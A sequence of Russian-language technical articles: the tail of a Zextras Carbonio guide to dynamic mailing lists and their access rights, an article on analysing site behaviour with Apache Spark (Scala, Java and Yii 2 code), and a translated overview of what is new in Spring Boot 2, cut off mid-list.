Здесь отметьте галочкой раздел “Динамическая группа” и в появившемся поле “URL участника” укажите поисковую базу для обнаружения пользователей. В нашем случае введена поисковая база для обнаружения всех активных пользователей на сервере Carbonio - ldap:///??sub?(&(objectClass=carbonioAccount)(сarbonioAccountStatus=active)).
Вы в любой момент можете изменить поисковую базу для динамического списка рассылки, кликнув по нему правой кнопкой мыши и выбрав во всплывающем меню раздел “Изменить”.
Перейдя на вкладку “Свойства” вы можете указать новую поисковую базу для динамического списка рассылки.
Удаление динамического списка рассылки происходит аналогично удалению обычного списка рассылки.
Управлять динамическими списками рассылки можно и в командной строке Carbonio:
* Создание динамического списка рассылки - `carbonio prov cddl ddl@carbonio.ru memberURL 'ldap:///??sub?(&(objectClass=carbonioAccount)(сarbonioAccountStatus=active))' zimbraIsACLGroup FALSE`
* Изменение поисковой базы динамического списка рассылки - `carbonio prov cddl ddl@carbonio.ru memberURL 'ldap:///??sub?(&(objectClass=carbonioAccount))'`
* Удаление динамического списка рассылки - `carbonio prov ddl ddl@domain.com`
Также в Carbonio имеется [возможность создавать и обновлять списки рассылки на основе данных из Active Directory](https://habr.com/ru/post/443166/)
#### Назначение прав для списка рассылки
Список рассылки может быть использован в качестве объекта для назначения тех или иных прав, которые после назначения автоматически применяются ко всем его участникам. Сделать это можно в командной строке.
К примеру, для того, чтобы дать участникам списка рассылки права на отправку писем от имени списка рассылки можно использовать команду - `carbonio prov grr dl distlist@carbonio.ru grp ddl@carbonio.ru sendAsDistList`
При использовании данной команды пользователи динамического списка рассылки [ddl@carbonio.ru](mailto:ddl@carbonio.ru) получают права на отправку от имени списка рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru). Ответы на письма, отправленные от имени списка рассылки получат все участники списка рассылки.
По такому же принципу можно выдавать участникам списка рассылки права на отправку писем от любых пользователей.
#### Контроль доступа к спискам рассылки
Контроль доступа к спискам рассылки осуществляется при помощи сервера Milter - словослияния Mail и Filter. Milter является встроенным в Carbonio модулем и для использования его сперва нужно активировать. Активируется Milter на узлах MTA. В случае односерверной инфраструктуры перейдите в “Настройки - Серверы - [mail.carbonio.ru](http://mail.carbonio.ru) - Агент передачи сообщений”. В случае мультисерверной установки выберите серверы, которые используются в вашей инфраструктуре в качестве MTA.
В секции “Сервер Milter” отметьте галочкой пункт “Включить сервер Milter”, в качестве адреса привязки укажите localhost (127.0.0.1), а порт привязки оставьте нетронутым.
Ограничения доступа к спискам рассылки при помощи сервера Milter настраиваются в командной строке:
* `carbonio prov grr dl distlist@carbonio.ru usr user2@carbonio.ru sendToDistList` предоставляет пользователю [user2@carbonio.ru](mailto:user2@carbonio.ru) возможность отправлять сообщения в список рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru)
* `carbonio prov grr dl distlist@carbonio.ru grp distribution@carbonio.ru sendToDistList` предоставляет участникам списка рассылки [distribution@carbonio.ru](mailto:distribution@carbonio.ru) возможность отправлять сообщения в список рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru)
* `carbonio prov grr dl distlist@carbonio.ru all sendToDistList` предоставляет возможность всем пользователям на сервере отправлять сообщения в список рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru)
* `carbonio prov grr dl distlist@carbonio.ru dom carbonio.ru sendToDistList` предоставляет возможность всем пользователям домена [carbonio.ru](http://carbonio.ru) отправлять сообщения в список рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru)
* `carbonio prov grr dl distlist@carbonio.ru pub sendToDistList` предоставляет возможность как внутренним, так и внешним пользователям отправлять сообщения в список рассылки [distlist@carbonio.ru](mailto:distlist@carbonio.ru)
Для отзыва прав на отправку писем в список рассылки используйте команду
* `carbonio prov rvr dl distlist@carbonio.ru usr user3@carbonio.ru sendToDistList`
Объектами применения данной команды помимо отдельных пользователей могут быть списки рассылки, домены, глобальный список пользователей, а также все пользователи, включая внешних.
Проверить корректность назначения прав можно командами:
* `carbonio prov ckr dl distlist@carbonio.ru user2@carbonio.ru sendToDistList`
Поскольку ранее пользователю user2 было разрешено отправлять письма в данный список рассылки, вывод команды будет ALLOWED.
* `carbonio prov ckr dl distlist@carbonio.ru user3@carbonio.ru sendToDistList`
Поскольку ранее пользователю [user3@carbonio.ru](mailto:user3@carbonio.ru) не было разрешено отправлять письма в данный список рассылки, вывод команды будет DENIED.
Таким образом, Carbonio предоставляет администратору все необходимые инструменты для использования списков рассылки и настройки ограничений доступа к ним.
Эксклюзивный дистрибьютор Zextras [SVZcloud](https://svzcloud.ru/). По вопросам тестирования и приобретения Zextras Carbonio обращайтесь на электронную почту: [sales@svzcloud.ru](mailto:sales@svzcloud.ru) | https://habr.com/ru/post/690552/ | null | ru | null |
# Анализ поведенческих факторов с помощью Apache Spark
Речь пойдёт об использовании Apache Spark для анализа поведенческих факторов на сайте, который имеет очень большую посещаемость. Учёт поведенческих факторов весьма часто используется для повышения конверсии ресурса. Кроме этого, возможности Интернет позволяют очень просто и быстро собирать и анализировать гигантское количество самой разной статистической информации. Будут показаны примеры кода и даны некоторые советы, основанные на личном опыте автора статьи.
Поведенческие факторы — это один из самых эффективных методов выявления ценности документа. По сути, это переменные, на основании которых будет приниматься решение о рейтинге той или иной сущности. Если информации относительно немного, то её можно представить в удобном для человека графическом виде (гистограмма, матрица, тепловая карта, график регрессионного анализа или дендрограмма иерархического кластерного анализа). Например, в языке программирования R (он очень часто используется при анализе данных) достаточно удобно отображать графики (plot) или матрицы (mosaicplot, image, persp, contour). Кроме этого, в язык программирования R встроено очень много полезных функций (описательная статистика, комбинаторика, теория вероятностей). Я даже не говорю про библиотеки для более сложного анализа (например, Random forest).
Однако, самое главное ограничение асессора — это производительность. Человек не может оценить гигантское количество информации за небольшой промежуток времени. С другой стороны, есть широкий спектр задач, где невозможно обойтись без человека, так как некоторые вещи практически невозможно оценить алгоритмом.
Если информации настолько много, что она не может поместиться даже в память супер-компьютера (на одной ноде), то применяют распределённую обработку данных на нескольких станциях. Так, например, Apache Spark является одним из самых популярных фреймворков для распределённой обработки данных. Некоторые задачи можно выполнять буквально одной командой (строкой кода в консоли):
```
sc.textFile(path).map(s => (s, 1)).reduceByKey((a, b) => a + b).saveAsTextFile(pathSave)
```
Упомянутый фрагмент исходного кода на языке программирования Scala позволяет выполнить подсчёт событий (строк) в логе, где каждая строка — строго одно имя (уникальный идентификатор) события. В результате запуска этой программы мы увидим директорию с несколькими текстовыми файлами, содержащими результаты обработки данных. Отчёт о процессе обработки данных будет показан в удобном интерфейсе пользователя (http://127.0.0.1:4040/jobs/) с указанием подробной информации, включая визуальное отображение:
После того, как произойдёт загрузка данных из текстового файла (textFile), все строки будут записаны в виде специального распределённого набора данных RDD (Resilient Distributed Dataset). Теперь с полученными данными можно производить различные операции. Важно учесть, что трансформации (в оригинальной документации используется термин Transformations) не модифицируют множество (оно immutable), а создают новое. Более того, Spark не будет осуществлять операций с этим множеством до нужного момента (команды из списка Actions).
В данном конкретном случае набор данных будет трансформирован в карту (map применит действие к каждому элементу создав новый RDD). В качестве ключа будет строка, а в качестве значения будет проставлена единица. Другая трансформация (reduceByKey) — это сокращение элементов множества по ключу. Указанная формула (a + b) суммирует значения для каждого сокращаемого ключа. Таким образом, останутся только уникальные ключи, а в качестве значений у них будет количество повторений в изначальном множестве. Если есть желание ещё упростить приведённый пример, то вспомним про countByValue, который сделает упомянутую задачу совсем тривиальной.
А что, если мне нужно выполнить настоящий кластерный анализ методом KMeans? Для этого есть пакет spark.mllib, который содержит множество готовых алгоритмов (включая, но не ограничиваясь: кластеризацию, линейную регрессию, классификацию, коллаборативную фильтрацию, дерево принятия решений, random forests, gradient boosting).
```
import org.apache.spark.mllib.clustering.{KMeans, KMeansModel}
import org.apache.spark.mllib.linalg.Vectors
val lines = sc.textFile(pathCsv)
val data = lines.map(s => Vectors.dense(s.split(";").map(_.toDouble))).cache()
// Число кластеров нужно задать заранее
val clusters = KMeans.train(data, 3, 20)
clusters.clusterCenters.mkString("\n") // Показать центроиды кластеров
```
Особо хочу отметить, что на точность работы алгоритма будет влиять фактор правильности выявления количества кластеров. Следовательно, данные лучше заранее почистить и проверить.
К одному из самых распространённых методов анализа поведенческих факторов можно отнести ассоциативные правила. Они очень часто применяются при нахождении шаблонных действий, например, типичной рыночной корзины в интернет-магазинах. Идея ассоциативных правил состоит в следующем: установить вероятность встречи в множестве одних элементов по факту присутствия других. Например, по наличию в корзине фонарика догадаться о наличии аккумулятора для него. Разумеется, речь идёт не только о покупках, а о любых других шаблонных действиях. Приведу пример такого анализа:
```
import org.apache.spark.mllib.fpm.AssociationRules
import org.apache.spark.mllib.fpm.FPGrowth.FreqItemset
// Допустим, что это название конфет
val freqItemsets = sc.parallelize(Seq(
new FreqItemset(Array("milk"), 31L),
new FreqItemset(Array("red", "milk", "fantazia"), 84L),
new FreqItemset(Array("milk", "fantazia"), 89L),
new FreqItemset(Array("lemon"), 49L),
new FreqItemset(Array("red", "milk", "lemon"), 14L),
new FreqItemset(Array("green", "lemon"), 25L)
))
val results = new AssociationRules().setMinConfidence(0.5).run(freqItemsets)
results.collect().foreach { rule =>
println(rule.antecedent.mkString(",") + " -> "
+ rule.consequent.mkString(",") + " // " + rule.confidence)
}
```
К задачам анализа поведенческих факторов также относят различные составляющие активности людей в социальных сетях. Для таких задач удобнее представить данные в виде графа. Благо, есть компонент под названием GraphX. Смысл этого компонента состоит в упрощении распределённой обработки графов. Его работу можно показать на примере выявления PageRank для сайтов. Прежде всего, зададим узлы и рёбра графа, а потом выполним с ними несколько самых элементарных операций:
```
import org.apache.spark.graphx._
import org.apache.spark.rdd.RDD
val v = Array(
(1L, ("www.1.com", 10)),
(2L, ("www.2.com", 20)),
(3L, ("www.3.com", 30)),
(4L, ("www.4.com", 40)),
(5L, ("www.5.com", 50)),
(6L, ("www.6.com", 0))
)
val e = Array(
Edge(1L, 5L, 1),
Edge(2L, 5L, 2),
Edge(3L, 5L, 3),
Edge(4L, 5L, 4),
Edge(5L, 1L, 5)
)
// Преобразуем в граф
val graph: Graph[(String, Int), Int] = Graph(sc.parallelize(v), sc.parallelize(e))
// Посмотрим только те вершины, которые подпадают под нужные условия
graph.vertices.filter{ case (id, (url, visits)) => visits > 35 }.collect().mkString("\n")
// Какой сайт куда ссылается
for (triplet <- graph.triplets.collect()) {
print(s"Link from ${triplet.srcAttr._1} (visits = ${triplet.srcAttr._2}) ")
println(s"to ${triplet.dstAttr._1} (visits = ${triplet.dstAttr._2})")
}
// Кстати, есть встроенный алгоритм расчёта PageRank
graph.pageRank(0.001, 0.4).vertices.collect().foreach {
site => println("Site Id = " + site._1 + ", PR = " + site._2)
}
```
У фреймворка Apache Spark есть API для популярных языков программирования (Scala, Python и Java). Встречается мнение, что на языке программирования Java код получается немного громоздким. Кроме этого, для выполнения относительно простых задач не очень хочется писать приложение на Java. Но при необходимости можно и на Java. Подключение к приложению не должно вызывать особых затруднений. Кроме импорта библиотек ничего не понадобилось:
```
public class Run {
public static void main(String[] args) {
SparkConf conf = new SparkConf().setMaster("local").setAppName("HABR");
JavaSparkContext ctx = new JavaSparkContext(conf);
/**
* Пример №1. Гипоциклоида
*/
JavaRDD points = ctx.textFile(path).map(new Function() {
public Point call(String line) {
Double t = Double.parseDouble(line);
Double x = 5.5 \* (Math.cos(t) + Math.cos(1.1 \* t) / 1.1);
Double y = 5.5 \* (Math.sin(t) - Math.sin(1.1 \* t) / 1.1);
return new Point(x, y);
}
});
points.saveAsTextFile(savePath);
/\*\*
\* Пример №2. Работа с SQLContext
\*/
String sql = "SELECT \* FROM sites WHERE type = 'b' AND id IN (1,2)";
SQLContext sqlContext = new SQLContext(ctx);
DataFrame sites = sqlContext.read().json(jsonPath);
sites.show();
sites.registerTempTable("sites");
DataFrame results = sqlContext.sql(sql);
results.show();
}
}
```
Что касается самой логики расчёта рейтинга, то она очень сильно зависит от проекта. Общие показатели (просмотры, отказы, время на сайте, глубина просмотра, повторные визиты) не всегда более информативны, чем специально отслеживаемые события. По моему личному опыту обычно шли достаточно банальным путём. В момент подготовки данных (сайт написан на Yii 2, а за его наполнение отвечает сервис на Java) для наполнения базы данных производилась обработка всех документов. На этапе этой обработки вычислялся рейтинг документа, а в базу записывался готовый результат.
Как вы понимаете, выполнять расчёты динамически (при каждом обновлении страницы) нет прямой необходимости. Более того, на сайтах с огромной нагрузкой не поможет даже кэширование (Memcached, Redis, Tarantool). Следовательно, необходимо заранее выполнять все расчёты, а приложение на PHP должно использоваться только для отображения (модель получает уже посчитанный рейтинг из базы данных и с помощью контроллера отображает в представлении). Кстати, со стороны сайта (в его базе данных) рейтинг лучше хранить целым числом. Ещё один очень простой схематический пример для наглядности.
Создадим миграцию для Yii 2:
```
use yii\db\Migration;
class m160401_134629_doc extends Migration
{
public function up()
{
$this->createTable('{{%doc}}', [
'id' => $this->primaryKey(),
'name' => $this->string(150)->notNull()->unique(),
'content' => $this->text()->notNull(),
'rating' => $this->integer()->notNull()->defaultValue(0),
'created_at' => $this->integer()->notNull(),
'updated_at' => $this->integer()->notNull(),
], 'CHARACTER SET utf8 COLLATE utf8_unicode_ci ENGINE=InnoDB');
}
public function down()
{
$this->dropTable('{{%doc}}');
}
}
```
А следом за ней и модель:
```
namespace common\models;
use Yii;
/**
* This is the model class for table "{{%doc}}".
*
* @property integer $id
* @property string $name
* @property string $content
* @property integer $rating
* @property integer $created_at
* @property integer $updated_at
*/
class Doc extends \yii\db\ActiveRecord
{
/**
* @inheritdoc
*/
public static function tableName()
{
return '{{%doc}}';
}
/**
* @inheritdoc
*/
public function rules()
{
return [
[['name', 'content', 'created_at', 'updated_at'], 'required'],
[['content'], 'string'],
[['rating', 'created_at', 'updated_at'], 'integer'],
[['name'], 'string', 'max' => 150],
[['name'], 'unique'],
];
}
/**
* @inheritdoc
*/
public function attributeLabels()
{
return [
'id' => 'ID',
'name' => 'Name',
'content' => 'Content',
'rating' => 'Rating',
'created_at' => 'Created At',
'updated_at' => 'Updated At',
];
}
/**
* @param integer $limit
* @return Doc[]
*/
public static function getDocs($limit = 10)
{
return static::find()->orderBy('rating DESC')->limit($limit)->all();
}
}
```
Естественно, в реальном проекте уже был готовый функционал, который выводил отсортированный по рейтингу список неких сущностей. Продуманы индексы, которые я не описал в примере. А вот простой контроллер был похож на показанный далее:
```
namespace frontend\controllers;
use Yii;
use common\models\Doc;
use yii\web\Controller;
class DocController extends Controller
{
/**
* Рейтинг документов (ТОП-10)
*
* @return string
*/
public function actionIndex()
{
$limit = 10;
$cacheTime = 60;
$docs = Doc::getDb()->cache(function ($db) use ($limit) {
return Doc::getDocs($limit);
}, $cacheTime);
if(empty($docs)) {
$this->goHome();
}
return $this->render('index', ['docs' => $docs]);
}
}
```
И сложностей в изменении кода на сайте не возникало. Собственно, а почему они должны возникнуть? Основную работу делает не сайт: выгрузка данных на сайте будет содержать предварительно обработанное с помощью Spark поле рейтинга. По секрету говоря, в реальном проекте был использован язык программирования Scala для написания очень компактного кода для Spark.
Разумеется, если задача простая, то нет смысла реализовывать очень сложные алгоритмы. Для подготовки умеренного количества данных получится использовать весьма простой сервис. Посмотрим схематический прототип на Java без использования сторонних библиотек. Интерфейс просит нас передать методу объект документа, а вернуть — число (Double), отражающее уровень рейтинга.
```
public interface IRating {
Double rating(Doc doc);
}
```
Соответственно, добавим несколько классов, которые по-разному рассчитывают рейтинг. Во избежание искусственного усложнения и выхода за рамки этой статьи добавим логическое ограничение: пусть на сайте будут два типа рейтингов документа. Для первого типа рейтинг находим по количеству просмотров (посещений) документа:
```
public class MainRating implements IRating {
@Override
public Double rating(Doc doc) {
return (Math.log(doc.getVisits()) * 2);
}
}
```
А для второго вычислим по иной вымышленной формуле:
```
public class AdditionalRating implements IRating {
@Override
public Double rating(Doc doc) {
return (doc.getEvents() * 0.5) + Math.random();
}
}
```
Далее мы создадим абстрактный класс для будущей фабрики:
```
public abstract class IRatingFactory {
public abstract IRating getRatingType(String type);
}
```
Про саму фабрику тоже не будем забывать:
```
public class RatingFactory extends IRatingFactory {
@Override
public IRating getRatingType(String type) {
switch (type) {
case "main":
return new MainRating();
case "additional":
return new AdditionalRating();
default:
return null;
}
}
}
```
Очень не хочу прибегать к оценочным суждениям. Однако, у меня сложилось весьма хорошее впечатление об Apache Spark. При создании очень высокопроизводительной статистической системы он сыграл важную роль. Более того, его применение в «продакшен» меня приятно удивило эффективностью и простотой. Но это моё личное мнение, которым я хочу просто поделиться, а не навязывать. Во всяком случае, достаточно подробная документация и наличие нескольких англоязычных книг помогают быстро изучить его основные возможности.
У меня на протяжении нескольких лет было желание найти некий почти идеальный инструмент. Честно говоря, мне понадобилось много времени, чтобы избавиться от этой наивной идеи. Сейчас в моих убеждениях есть другая идея – «волшебной таблетки» быть не может. Эффективность каждого инструмента напрямую зависит от конкретной ситуации. На эту тему уже написано масса книг и статей, но за годы ежедневного чтения книг по упомянутой тематике я проникаюсь только одной мыслью – очень редко удаётся сразу спроектировать громадную статистическую систему или веб-ресурс. Чаще это эволюционный процесс, за время развития которого «рождаются» новые модули с новыми современными технологиями и уходят в историю не прошедшие естественный отбор «жертвы рефакторинга». Мир не статичен, разве нет? Собственно, хочу пожелать вашим системам постоянного и конструктивного развития. | https://habr.com/ru/post/280774/ | null | ru | null |
# Spring Boot 2: что нового?
*От переводчика: несмотря на то, что уже прошел год, вопросы о том что же нового дал нам 2-й Boot не заканчиваются. Писать такой контент с нуля — затея не самая умная. Поэтому решили перевести статью, которая нам кажется наиболее лаконичной и при этом достаточно полной.*
Релиз Spring Boot 2 состоялся в начале 2018 года, и всем не терпится скорее посмотреть на него в деле. Этот релиз стал кульминацией 17 месяцев работы и более 6800 коммитов от 215 разных людей. Есть много крутых функций, которые стоит обсудить, так что поговорим о том, что нового в Spring Boot 2.
В этой статье мы рассмотрим:
* Историю Spring Boot
* Что нового в Spring Boot
* Руководство по переходу на Spring Boot 2
История Spring Boot
-------------------
Перед тем, как углубиться в нововведения, я бы хотел воспользоваться случаем и рассказать немного об истории Spring Boot. В посте, опубликованном в августе 2013, в своем блоге [Phil Webb объявил первый знаковый релиз проекта под названием Spring Boot](https://spring.io/blog/2013/08/06/spring-boot-simplifying-spring-for-everyone/).
*Spring Boot создан для того, чтобы сделать создание готовых к работе приложений и сервисов на Spring простым, без чрезмерных усилий. Spring Boot это субъективный взгляд на платформу Spring, который позволяет как новичкам так и опытным пользователям Spring-а найти все нужное. При помощи Boot-а можно создавать stand-alone приложения, запускаемые как ‘java -jar’ или распространяемые более традиционным WAR форматом.*
Спустя примерно 9 месяцев, в апреле 2014, состоялся релиз Spring Boot 1.0. С тех пор было множество второстепенных релизов и новых полезных функций.
[Spring Boot 1.1 (Июнь 2014)](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-1.1-Release-Notes)
* spring-boot-starter-test
* Metrics & Health Endpoints
* Elastic Search, Apache Solr, Spring Social и Spring Integration авто-конфигурация
* Поддержка средств шаблонизации (Freemaker, Groovy, и Velocity)
[Spring Boot 1.2 (Март 2015)](https://github.com/spring-projects/spring-boot/wiki/spring-boot-1.2-release-notes)
* Servlet 3.1, Tomcat 8 & Jetty 9
* Spring 4.1
* Аннотация @SpringBootApplication
* Поддержка Email
[Spring Boot 1.3 (Декабрь 2016)](https://github.com/spring-projects/spring-boot/wiki/spring-boot-1.3-release-notes)
* Обновление Spring Framework до версии 4.2
* Обновление Spring Security до версии 4.0
* Developer Tools
* Caching авто-конфигурация
* Полностью исполняемые JAR’ы и поддержка сервисов
[Spring Boot 1.4 (Январь 2017)](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-1.4-Release-Notes)
* Spring 4.3
* Hibernate 5
* Улучшения в механизмах тестирования
* Integration стартер
* Поддержка Couchbase и Neo4J
[Spring Boot 1.5 (Февраль 2017)](https://github.com/spring-projects/spring-boot/wiki/Spring-Boot-1.5-Release-Notes)
* Loggers endpoint
* Поддержка Apache Kafka
* Расширенные механизмы для Cloud Foundry
* Поддержка LDAP
* Обновления тестирования
Что нового в Spring
-------------------
Так что же нового в Spring Boot 2? Если говорить о самом большом нововведении, то это обновление Spring Framework до 5-ой версии. С тех пор, как в сентябре 2017 вышла Spring Framework 5, большинство разработчиков (как и я) ждали релиза Spring Boot 2. Spring Framework 5 имеет немалый список новых функций, но я бы хотел рассказать только о нескольких самых главных.
### Что нового в Spring Framework 5
#### Поддержка версий Java 8+
Если вы и впредь хотите создавать приложения на Spring Framework, вам нужно работать с версией Java 8+. Вы, наверное, подумали, что это очень важное изменение для всех нас, но для команды Spring оно еще важнее. Это позволило обновить базу исходного кода до Java 8 со всеми его новыми фишками вроде лямбда-выражений или стримов. Это не только делает код более читабельным, но и улучшает производительность ядра платформы.
#### Поддержка Java 9
Если вы хотите использовать Java 9, вам нужно обновиться до Spring Framework 5 и также до Spring Boot 2. Я знаю, что многие еще не используют новейшие версии Java в продакшене, и это отличная возможность поэкспериментировать с новыми крутыми “игрушками”. Все должно работать без проблем при использовании стандартного classpath’а, но я читал о некоторых затруднениях при переходе на модули Java 9.
#### Spring MVC
Хотя Spring MVC и не в центре повествования в этой статье, стоит сказать, что было несколько приятных апгрейдов. Я не буду на них останавливаться, подробности можно посмотреть в [документации для Spring Framework 5](https://github.com/spring-projects/spring-framework/wiki/What%27s-New-in-Spring-Framework-5.x#spring-web-mvc).
#### Spring Webflux
Асинхронность потоков данных занимает центральное место в истории о Spring Framework 5. Это совершенно другой тип мышления, но, к счастью для нас, нет нужды переучиваться писать приложения совершенно новым способом. Spring WebFlux — абсолютно асинхронный и неблокирующий фреймворк, построенный с нуля, позволяющий справляться с большим количеством параллельных подключений. Хоть это и переворот в парадигме, начать будет не так уж сложно.
#### Поддержка Kotlin
Поддержка Kotlin была добавлена еще в <http://start.spring.io>, но в Spring Framework 5 есть специализированная поддержка этого языка, привнесшая полезные функции, прочитать о них можно [здесь](https://github.com/spring-projects/spring-framework/wiki/What%27s-New-in-Spring-Framework-5.x#kotlin-support).
#### Улучшения в механизмах тестирования
Самое крупное изменение в системе тестирования — это полная поддержка [JUnit](http://junit.org/junit5/)5 Jupiter. Я еще расскажу об этом подробнее ниже, но когда вы запускаете новое приложение на Spring Boot 2, вы все еще используете по умолчанию JUnit 4, однако, переключиться на JUnit 5 — задача тривиальная.
### Что нового в Spring Boot 2
#### Обновления сторонних библиотек
С каждым новым релизом Spring Boot у команды Spring возникает возможность обновить различные зависимости.
* Thymeleaf 3\*
* Jetty 9.4
* Tomcat 8.5
* Hibernate 5.2
* Flyway 5
* Gradle 4
\**В стартере Thymeleaf теперь есть встроенный thymeleaf-extras-java8time.*
#### Безопасность и Reactive Spring Data
С переходом на Spring WebFlux у Spring Data появилась поддержка приложений с асинхронными потоками данных. В настоящее время у Cassandra, MongoDB, Couchbase и Redis есть поддержка асинхронного API. В Spring Boot есть POM-стартеры для всех них, благодаря которым начать работать с ними совсем просто.
Также появилась возможность использовать Spring Security 5.0 в наших реактивных приложениях.
#### Actuator
Spring Boot Actuator не представляет из себя ничего нового, но он был переписан с нуля. Если вы еще не знакомы с Actuator, вот что он делает: он автоматически выводит endpoint’ы для получения информации о статусе приложения. Actuator в Spring Boot 1.x был написан поверх сервлетов, а с новыми реактивными подходами команде Spring нужно было решение которое поддерживает и старый и реактивный подходы. Помимо этого, в Actuator были внесены следующие изменения:
* Редизайн для поддержки сервлетов и реактивщины
* Статус и детальный health-check стали разделены
* Упрощенная модель безопасности
* Переход на Micrometer (это как SLF4J, только для метрик)
* Улучшенная структура данных JSON
* Упрощенный процесс создания кастомных endpoint-ов.
* [Endpoint](https://habr.com/en/users/endpoint/)
* @WebEndpoint
* @JmxEndpoint
Вероятно, тут могут возникнуть трудности в апгрейде из-за изменений в модели безопасности, о которых мы поговорим позже. По умолчанию все web-endpoint’ы доступны по пути `/actuator` с URL, имеющим вид `/actuator/{id}`. Путь /`actuator` можно изменить в настройках `management.endpoints.web.base-path`.
Существует подробный отдельный [блок документации для Spring Boot Actuator Web API Endpoints](https://docs.spring.io/spring-boot/docs/2.0.x/actuator-api/html/), с него стоит начать знакомство с этим инструментом.
#### Плагин Gradle
Мне всегда очень нравился Gradle, и я просто в восторге, что команда решила переписать плагин для Gradle.
Spring Boot Gradle плагин позволяет реализовать поддержку Spring Boot в Gradle и дает возможность упаковывать исполняемые jar или war архивы, запускать приложения на Spring Boot и управлять зависимостями через spring-boot-dependencies. Для плагина Gradle в Spring Boot необходима версия Gradle 4.0 и старше.
**Начало работы**
Чтобы начать работать с плагином, нужно подгрузить его к проекту.
```
buildscript {
repositories {
maven { url 'https://repo.spring.io/libs-milestone' }
}
dependencies {
classpath 'org.springframework.boot:spring-boot-gradle-plugin:2.0.0.RC1'
}
}
apply plugin: 'org.springframework.boot'
```
**Создание исполняемых jar и war-архивов**
Таска bootRepackage была заменена на bootJar и bootWar для создания соответственно jar и war-файлов. Обе задачи обладают более широким функционалом по сравнению со стандартной аналогичной командой Gradle, обеспечивая доступ ко всем настройкам и логике.
**Управление зависимостями**
Плагин Gradle в Spring Boot больше не тянет плагин для управления зависимостями автоматически. Вместо этого Gradle плагин Spring Boot-а видит, что плагин управления зависимости подключен, и импортирует правильную версию BOM. Это позволяет лучше контролировать, где и каким образом конфигурируется управление зависимостями. Для большинства приложений будет достаточно добавить плагин управления зависимостями:
```
apply plugin: 'io.spring.dependency-management'
```
У [плагина Gradle есть своя документация](https://docs.spring.io/spring-boot/docs/2.0.x/gradle-plugin/reference/html/), которая содержит очень полезную информацию. Я рекомендую всем, кто хочет начать работать с Gradle, перейти по этой ссылке.
#### Упрощенная система безопасности
Одной из главных целей в Spring Boot 2.x было упростить конфигурацию системы безопасности и сделать так, чтобы можно было легко добавлять настраиваемые параметры безопасности. По умолчанию все данные защищены, включая статические ресурсы и эндпоинты Actuator-ов. Если Spring Security находится в classpath-е, Spring Boot добавит аннотацию `@EnableWebSecurity`, а какой конкретно механизм аутентификации будет использоваться определит механизм согласования содержимого (content-negotiation) из Spring Security.
При настройке пользователем своих правил безопасности стандартная конфигурация системы безопасности Spring Boot перестанет действовать. На этом этапе пользователю будет необходимо как можно точно прописать все правила безопасности. Это означает, что все настройки безопасности собраны в одном месте и проблем с порядком обработки команд при существующем `WebSecurityConfigurerAdapters` не возникает.
Пример индивидуальных настроек безопасности:
```
http
.authorizeRequests()
// 1
.requestMatchers(EndpointRequest.to("status", "info"))
.permitAll()
// 2
.requestMatchers(EndpointRequest.toAnyEndpoint())
.hasRole("ACTUATOR")
// 3
.requestMatchers(StaticResourceRequest.toCommonLocations())
.permitAll()
// 4
.antMatchers("/**")
.hasRole("USER")
.and()
... // additional configuration
```
1. `/status` и `/info` не требуют авторизации.
2. Все прочие actuator защищены с помощью роли `ACTUATOR`.
3. Местонахождение общих статических ресурсов доступно всем.
4. Все прочие endpoint’ы приложения защищены ролью `USER`.
#### Actuator Security
С учетом того, что endpoint-ы actuator-а зафиксированы, необходимо включить или исключить endpoint’ы, в зависимости от того какие вам нужны. Вот настройки, которые это контролируют, с выпуска 1.x они изменились.
```
# ENDPOINTS WEB CONFIGURATION (WebEndpointProperties)
management.endpoints.web.exposure.include=info,health # Endpoint IDs that should be included or '*' for all.
management.endpoints.web.exposure.exclude= # Endpoint IDs that should be excluded.
management.endpoints.web.base-path=/actuator # Base path for Web endpoints. Relative to server.servlet.context
path or management.server.servlet.context-path if management.server.port is configured.
management.endpoints.web.path-mapping= # Mapping between endpoint IDs and the path that should expose them.
```
Если вы не уверены, как настраивать эти параметры, добавьте в закладки [документацию по общим настройкам приложения](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/common-application-properties.html).
#### Поддержка HTTP/2
Невероятно, но релиз спецификации HTTP 1.1 был аж в 1996 году. Полагаю, можно не напоминать, что современная сеть отличается по всем параметрам. Если вы хотите реализовать поддержку HTTP/2 в приложении на Spring MVC или WebFlux, используйте следующий параметр.
```
server.http2.enabled=true
```
Поддержка HTTP/2 зависит от выбранного веб-сервера и среды приложения, так как этот протокол не поддерживается в JDK8 из коробки. Подробнее об этом написано [в документации](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/howto-embedded-web-servers.html#howto-configure-http2).
#### Конфигурационные параметры
В Spring Boot 1.x был поддержан так называемый relaxed binding, другими словами вы могли определить имя параметра многими способами (camel-case, нижнее подчеркивание, дефис) при этом в конечном итоге значение присваивалось одному и тому же свойству.
Relaxed binding работает все так же, а способ чтения переменных в вашем коде изменился:
[24. Externalized Configuration](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/boot-features-external-config.html#boot-features-external-config-relaxed-binding)
Spring Boot lets you externalize your configuration so that you can work with the same application code in different…docs.spring.io
#### Метрика
Собственная метрика Spring Boot была заменена на Micrometer. Он разрабатывается командой Pivotal и быстро адаптируется к проектам Pivotal.
Spring Boot Actuator предоставляет автоконфигурацию для [Micrometer](https://micrometer.io/) — интерфейса метрики приложения, поддерживающий множество видов мониторинга, включая:
* [Atlas](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-atlas)
* [Datadog](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-datadog)
* [Ganglia](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-ganglia)
* [Graphite](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-graphite)
* [Influx](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-influx)
* [JMX](https://docs.spring.io/spring-boot/docs/2.0.x/reference/html/production-ready-metrics.html#production-ready-metrics-export-jmx)
